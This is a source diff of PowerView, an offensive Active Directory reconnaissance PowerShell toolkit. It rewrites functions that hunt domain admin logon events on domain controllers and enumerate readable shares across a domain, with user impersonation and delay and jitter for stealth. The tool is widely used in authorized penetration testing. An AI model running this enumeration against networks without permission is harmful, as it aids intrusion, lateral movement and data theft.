+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
+ $StartTime = [DateTime]::Now.AddDays(-1),
- [String]
- $GroupName = 'Domain Admins',
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
+ $EndTime = [DateTime]::Now,
- [String]
- $TargetServer,
+ [ValidateRange(1, 1000000)]
+ [Int]
+ $MaxEvents = 5000,
+ [ValidateNotNullOrEmpty()]
[String[]]
- $UserName,
+ $UserIdentity,
+ [ValidateNotNullOrEmpty()]
[String]
- $UserFilter,
-
- [String]
- $UserADSpath,
-
- [ValidateScript({Test-Path -Path $_ })]
- [String]
- $UserFile,
+ $UserDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $Domain,
+ $UserLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $DomainController,
+ $UserSearchBase,
- [Int32]
- $SearchDays = 3,
+ [ValidateNotNullOrEmpty()]
+ [Alias('GroupName', 'Group')]
+ [String[]]
+ $UserGroupIdentity = 'Domain Admins',
+ [Alias('AdminCount')]
[Switch]
- $SearchForest,
+ $UserAdminCount,
- [ValidateRange(1,100)]
- [Int]
- $Threads,
-
- [Management.Automation.PSCredential]
- $Credential
- )
+ [Switch]
+ $CheckAccess,
- begin {
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- # random object for delay
- $RandNo = New-Object System.Random
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- Write-Verbose "[*] Running Invoke-EventHunter"
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
- }
- else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )
- }
+ [Switch]
+ $Tombstone,
- #####################################################
- #
- # First we build the host target set
- #
- #####################################################
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- if(!$ComputerName) {
- # if we're using a host list, read the targets in and add them to the target list
- if($ComputerFile) {
- $ComputerName = Get-Content -Path $ComputerFile
- }
- elseif($ComputerFilter -or $ComputerADSpath) {
- [array]$ComputerName = @()
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
- }
- }
- else {
- # if a computer specifier isn't given, try to enumerate all domain controllers
- [array]$ComputerName = @()
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for domain controllers"
- $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}
- }
- }
+ [Switch]
+ $StopOnSuccess,
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
- }
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $Delay = 0,
- #####################################################
- #
- # Now we build the user target set
- #
- #####################################################
+ [ValidateRange(0.0, 1.0)]
+ [Double]
+ $Jitter = .3,
- # users we're going to be searching for
- $TargetUsers = @()
+ [Int]
+ [ValidateRange(1, 100)]
+ $Threads = 20
+ )
- # if we want to hunt for the effective domain users who can access a target server
- if($TargetServer) {
- Write-Verbose "Querying target server '$TargetServer' for local users"
- $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
- ($_.AccountName).split("/")[1].toLower()
- } | Where-Object {$_}
- }
- # if we get a specific username, only use that
- elseif($UserName) {
- # Write-Verbose "[*] Using target user '$UserName'..."
- $TargetUsers = $UserName | ForEach-Object {$_.ToLower()}
- if($TargetUsers -isnot [System.Array]) {
- $TargetUsers = @($TargetUsers)
- }
- }
- # read in a target user list if we have one
- elseif($UserFile) {
- $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
- }
- elseif($UserADSpath -or $UserFilter) {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for users"
- $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
- $_.samaccountname
- } | Where-Object {$_}
- }
+ BEGIN {
+ $UserSearcherArguments = @{
+ 'Properties' = 'samaccountname'
+ }
+ if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
+ if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
+ if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
+ if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
+ if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
+ if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
+ $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
+ }
+ elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
+ # otherwise we're querying a specific group
+ $GroupSearcherArguments = @{
+ 'Identity' = $UserGroupIdentity
+ 'Recurse' = $True
+ }
+ Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
+ if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
+ if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
+ if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
+ $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
+ }
+
+ # build the set of computers to enumerate
+ if ($PSBoundParameters['ComputerName']) {
+ $TargetComputers = $ComputerName
}
else {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
- $_.MemberName
- }
+ # if not -ComputerName is passed, query the current (or target) domain for domain controllers
+ $DCSearcherArguments = @{
+ 'LDAP' = $True
}
+ if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
+ Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
+ $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
-
- if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
- throw "[!] No users found to search for!"
+ if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
+ $TargetComputers = @(,$TargetComputers)
+ }
+ Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
+ Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
+ if ($TargetComputers.Length -eq 0) {
+ throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
- # script block that enumerates a server
+ # the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
- param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)
+ Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
- # optionally check if the server is up first
- $Up = $True
- if($Ping) {
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
- }
- if($Up) {
- # try to enumerate
- if($Credential) {
- Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
- # filter for the target user set
- $TargetUsers -contains $_.UserName
+ ForEach ($TargetComputer in $ComputerName) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
+ if ($Up) {
+ $DomainUserEventArgs = @{
+ 'ComputerName' = $TargetComputer
}
- }
- else {
- Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
- # filter for the target user set
- $TargetUsers -contains $_.UserName
+ if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
+ if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
+ if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
+ if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
+ if ($Filter -or $TargetUsers) {
+ if ($TargetUsers) {
+ Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
+ }
+ else {
+ $Operator = 'or'
+ $Filter.Keys | ForEach-Object {
+ if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
+ if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
+ $Operator = 'and'
+ }
+ }
+ }
+ $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
+ Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
+ if ($Operator -eq 'or') {
+ ForEach ($Key in $Keys) {
+ if ($_."$Key" -match $Filter[$Key]) {
+ $_
+ }
+ }
+ }
+ else {
+ # and all clauses
+ ForEach ($Key in $Keys) {
+ if ($_."$Key" -notmatch $Filter[$Key]) {
+ break
+ }
+ $_
+ }
+ }
+ }
+ }
+ }
+ else {
+ Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
-
}
- process {
-
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
-
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
- $ScriptParams = @{
- 'Ping' = $(-not $NoPing)
- 'TargetUsers' = $TargetUsers
- 'SearchDays' = $SearchDays
- 'Credential' = $Credential
- }
-
- # kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
- }
+ PROCESS {
+ # only ignore threading if -Delay is passed
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
- else {
- if(-not $NoPing -and ($ComputerName.count -ne 1)) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
- }
-
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
+ Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
+ $RandNo = New-Object System.Random
- ForEach ($Computer in $ComputerName) {
-
+ ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential
+ Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
+ $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
+ $Result
+
+ if ($Result -and $StopOnSuccess) {
+ Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
+ return
+ }
}
}
+ else {
+ Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
+
+ # if we're using threading, kick off the script block with New-ThreadedFunction
+ $ScriptParams = @{
+ 'StartTime' = $StartTime
+ 'EndTime' = $EndTime
+ 'MaxEvents' = $MaxEvents
+ 'TargetUsers' = $TargetUsers
+ 'Filter' = $Filter
+ 'Credential' = $Credential
+ }
+ # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
+ New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
}
}
-function Invoke-ShareFinder {
+function Find-DomainShare {
<#
- .SYNOPSIS
+.SYNOPSIS
- This function finds the local domain name for a host using Get-NetDomain,
- queries the domain for all active machines with Get-NetComputer, then for
- each server it lists of active shares with Get-NetShare. Non-standard shares
- can be filtered out with -Exclude* flags.
+Searches for computer shares on the domain. If -CheckShareAccess is passed,
+then only shares the current user has read access to are returned.
- Author: @harmj0y
- License: BSD 3-Clause
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
- .PARAMETER ComputerName
+.DESCRIPTION
- Host array to enumerate, passable on the pipeline.
+This function enumerates all machines on the current (or specified) domain
+using Get-DomainComputer, and enumerates the available shares for each
+machine with Get-NetShare. If -CheckShareAccess is passed, then
+[IO.Directory]::GetFiles() is used to check if the current user has read
+access to the given share. If -Credential is passed, then
+Invoke-UserImpersonation is used to impersonate the specified user before
+enumeration, reverting after with Invoke-RevertToSelf.
- .PARAMETER ComputerFile
+.PARAMETER ComputerName
- File of hostnames/IPs to search.
+Specifies an array of one or more hosts to enumerate, passable on the pipeline.
+If -ComputerName is not passed, the default behavior is to enumerate all machines
+in the domain returned by Get-DomainComputer.
- .PARAMETER ComputerFilter
+.PARAMETER ComputerDomain
- Host filter name to query AD for, wildcards accepted.
+Specifies the domain to query for computers, defaults to the current domain.
- .PARAMETER ComputerADSpath
+.PARAMETER ComputerLDAPFilter
- The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Specifies an LDAP query string that is used to search for computer objects.
- .PARAMETER ExcludeStandard
+.PARAMETER ComputerSearchBase
- Switch. Exclude standard shares from display (C$, IPC$, print$ etc.)
+Specifies the LDAP source to search through for computers,
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
- .PARAMETER ExcludePrint
+.PARAMETER ComputerOperatingSystem
- Switch. Exclude the print$ share.
+Search computers with a specific operating system, wildcards accepted.
- .PARAMETER ExcludeIPC
+.PARAMETER ComputerServicePack
- Switch. Exclude the IPC$ share.
+Search computers with a specific service pack, wildcards accepted.
- .PARAMETER CheckShareAccess
+.PARAMETER ComputerSiteName
- Switch. Only display found shares that the local user has access to.
+Search computers in the specific AD Site name, wildcards accepted.
- .PARAMETER CheckAdmin
+.PARAMETER CheckShareAccess
- Switch. Only display ADMIN$ shares the local user has access to.
+Switch. Only display found shares that the local user has access to.
- .PARAMETER NoPing
+.PARAMETER Server
- Switch. Don't ping each host to ensure it's up before enumerating.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER Delay
+.PARAMETER SearchScope
- Delay between enumerating hosts, defaults to 0.
+Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER Jitter
+.PARAMETER ResultPageSize
- Jitter for the host delay, defaults to +/- 0.3.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER Domain
+.PARAMETER ServerTimeLimit
- Domain to query for machines, defaults to the current domain.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER DomainController
+.PARAMETER Tombstone
- Domain controller to reflect LDAP queries through.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .PARAMETER SearchForest
+.PARAMETER Credential
- Switch. Search all domains in the forest for target users instead of just
- a single domain.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain and target systems.
- .PARAMETER Threads
+.PARAMETER Delay
- The maximum concurrent threads to execute.
+Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
- .EXAMPLE
+.PARAMETER Jitter
- PS C:\> Invoke-ShareFinder -ExcludeStandard
+Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
- Find non-standard shares on the domain.
+.PARAMETER Threads
- .EXAMPLE
+The number of threads to use for user searching, defaults to 20.
- PS C:\> Invoke-ShareFinder -Threads 20
+.EXAMPLE
- Multi-threaded share finding, replaces Invoke-ShareFinderThreaded.
+Find-DomainShare
- .EXAMPLE
+Find all domain shares in the current domain.
- PS C:\> Invoke-ShareFinder -Delay 60
+.EXAMPLE
- Find shares on the domain with a 60 second (+/- *.3)
- randomized delay between touching each host.
+Find-DomainShare -CheckShareAccess
- .EXAMPLE
+Find all domain shares in the current domain that the current user has
+read access to.
- PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt
+.EXAMPLE
- Find shares for machines in the specified hosts file.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Find-DomainShare -Domain testlab.local -Credential $Cred
- .LINK
- http://blog.harmj0y.net
+Searches for domain shares in the testlab.local domain using the specified alternate credentials.
+
+.OUTPUTS
+
+PowerView.ShareInfo
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.ShareInfo')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DNSHostName')]
[String[]]
$ComputerName,
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('Domain')]
[String]
- $ComputerFile,
+ $ComputerDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFilter,
+ $ComputerLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerADSpath,
-
- [Switch]
- $ExcludeStandard,
+ $ComputerSearchBase,
- [Switch]
- $ExcludePrint,
+ [ValidateNotNullOrEmpty()]
+ [Alias('OperatingSystem')]
+ [String]
+ $ComputerOperatingSystem,
- [Switch]
- $ExcludeIPC,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ServicePack')]
+ [String]
+ $ComputerServicePack,
- [Switch]
- $NoPing,
+ [ValidateNotNullOrEmpty()]
+ [Alias('SiteName')]
+ [String]
+ $ComputerSiteName,
+ [Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
- [Switch]
- $CheckAdmin,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
- [UInt32]
- $Delay = 0,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [Double]
- $Jitter = .3,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [String]
- $Domain,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- [String]
- $DomainController,
-
[Switch]
- $SearchForest,
+ $Tombstone,
- [ValidateRange(1,100)]
- [Int]
- $Threads
- )
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $Delay = 0,
- # random object for delay
- $RandNo = New-Object System.Random
+ [ValidateRange(0.0, 1.0)]
+ [Double]
+ $Jitter = .3,
- Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"
+ [Int]
+ [ValidateRange(1, 100)]
+ $Threads = 20
+ )
- # figure out the shares we want to ignore
- [String[]] $ExcludedShares = @('')
+ BEGIN {
- if ($ExcludePrint) {
- $ExcludedShares = $ExcludedShares + "PRINT$"
+ $ComputerSearcherArguments = @{
+ 'Properties' = 'dnshostname'
}
- if ($ExcludeIPC) {
- $ExcludedShares = $ExcludedShares + "IPC$"
+ if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
+ if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
+ if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
+ if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
+ if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
+ if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
+ if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['ComputerName']) {
+ $TargetComputers = $ComputerName
}
- if ($ExcludeStandard) {
- $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
+ else {
+ Write-Verbose '[Find-DomainShare] Querying computers in the domain'
+ $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
-
- # if we're using a host file list, read the targets in and add them to the target list
- if($ComputerFile) {
- $ComputerName = Get-Content -Path $ComputerFile
+ Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
+ if ($TargetComputers.Length -eq 0) {
+ throw '[Find-DomainShare] No hosts found to enumerate'
}
- if(!$ComputerName) {
- [array]$ComputerName = @()
+ # the host enumeration block we're using to enumerate all servers
+ $HostEnumBlock = {
+ Param($ComputerName, $CheckShareAccess, $TokenHandle)
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
- }
- else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
- }
-
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
+ if ($TokenHandle) {
+ # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
+ $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.count) -eq 0) {
- throw "No hosts found!"
- }
- }
- # script block that enumerates a server
- $HostEnumBlock = {
- param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
-
- # optionally check if the server is up first
- $Up = $True
- if($Ping) {
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
- }
- if($Up) {
- # get the shares for this host and check what we find
- $Shares = Get-NetShare -ComputerName $ComputerName
- ForEach ($Share in $Shares) {
- Write-Verbose "[*] Server share: $Share"
- $NetName = $Share.shi1_netname
- $Remark = $Share.shi1_remark
- $Path = '\\'+$ComputerName+'\'+$NetName
-
- # make sure we get a real share name back
- if (($NetName) -and ($NetName.trim() -ne '')) {
- # if we're just checking for access to ADMIN$
- if($CheckAdmin) {
- if($NetName.ToUpper() -eq "ADMIN$") {
- try {
- $Null = [IO.Directory]::GetFiles($Path)
- "\\$ComputerName\$NetName `t- $Remark"
- }
- catch {
- Write-Verbose "Error accessing path $Path : $_"
- }
- }
- }
- # skip this share if it's in the exclude list
- elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
+ ForEach ($TargetComputer in $ComputerName) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
+ if ($Up) {
+ # get the shares for this host and check what we find
+ $Shares = Get-NetShare -ComputerName $TargetComputer
+ ForEach ($Share in $Shares) {
+ $ShareName = $Share.Name
+ # $Remark = $Share.Remark
+ $Path = '\\'+$TargetComputer+'\'+$ShareName
+
+ if (($ShareName) -and ($ShareName.trim() -ne '')) {
# see if we want to check access to this share
- if($CheckShareAccess) {
+ if ($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
- "\\$ComputerName\$NetName `t- $Remark"
+ $Share
}
catch {
- Write-Verbose "Error accessing path $Path : $_"
+ Write-Verbose "Error accessing share path $Path : $_"
}
}
else {
- "\\$ComputerName\$NetName `t- $Remark"
+ $Share
}
}
}
}
}
- }
-
- }
- process {
-
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
-
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
- $ScriptParams = @{
- 'Ping' = $(-not $NoPing)
- 'CheckShareAccess' = $CheckShareAccess
- 'ExcludedShares' = $ExcludedShares
- 'CheckAdmin' = $CheckAdmin
+ if ($TokenHandle) {
+ Invoke-RevertToSelf
}
-
- # kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
- else {
- if(-not $NoPing -and ($ComputerName.count -ne 1)) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
+ $LogonToken = $Null
+ if ($PSBoundParameters['Credential']) {
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
+ else {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
+ }
+ }
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
- $Counter = 0
+ PROCESS {
+ # only ignore threading if -Delay is passed
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
- ForEach ($Computer in $ComputerName) {
+ Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
+ Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
+ $Counter = 0
+ $RandNo = New-Object System.Random
+ ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
+ Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
}
}
-
- }
-}
-
-
-function Invoke-FileFinder {
-<#
- .SYNOPSIS
-
- Finds sensitive files on the domain.
-
- Author: @harmj0y
- License: BSD 3-Clause
-
- .DESCRIPTION
-
- This function finds the local domain name for a host using Get-NetDomain,
- queries the domain for all active machines with Get-NetComputer, grabs
- the readable shares for each server, and recursively searches every
- share for files with specific keywords in the name.
- If a share list is passed, EVERY share is enumerated regardless of
- other options.
+ else {
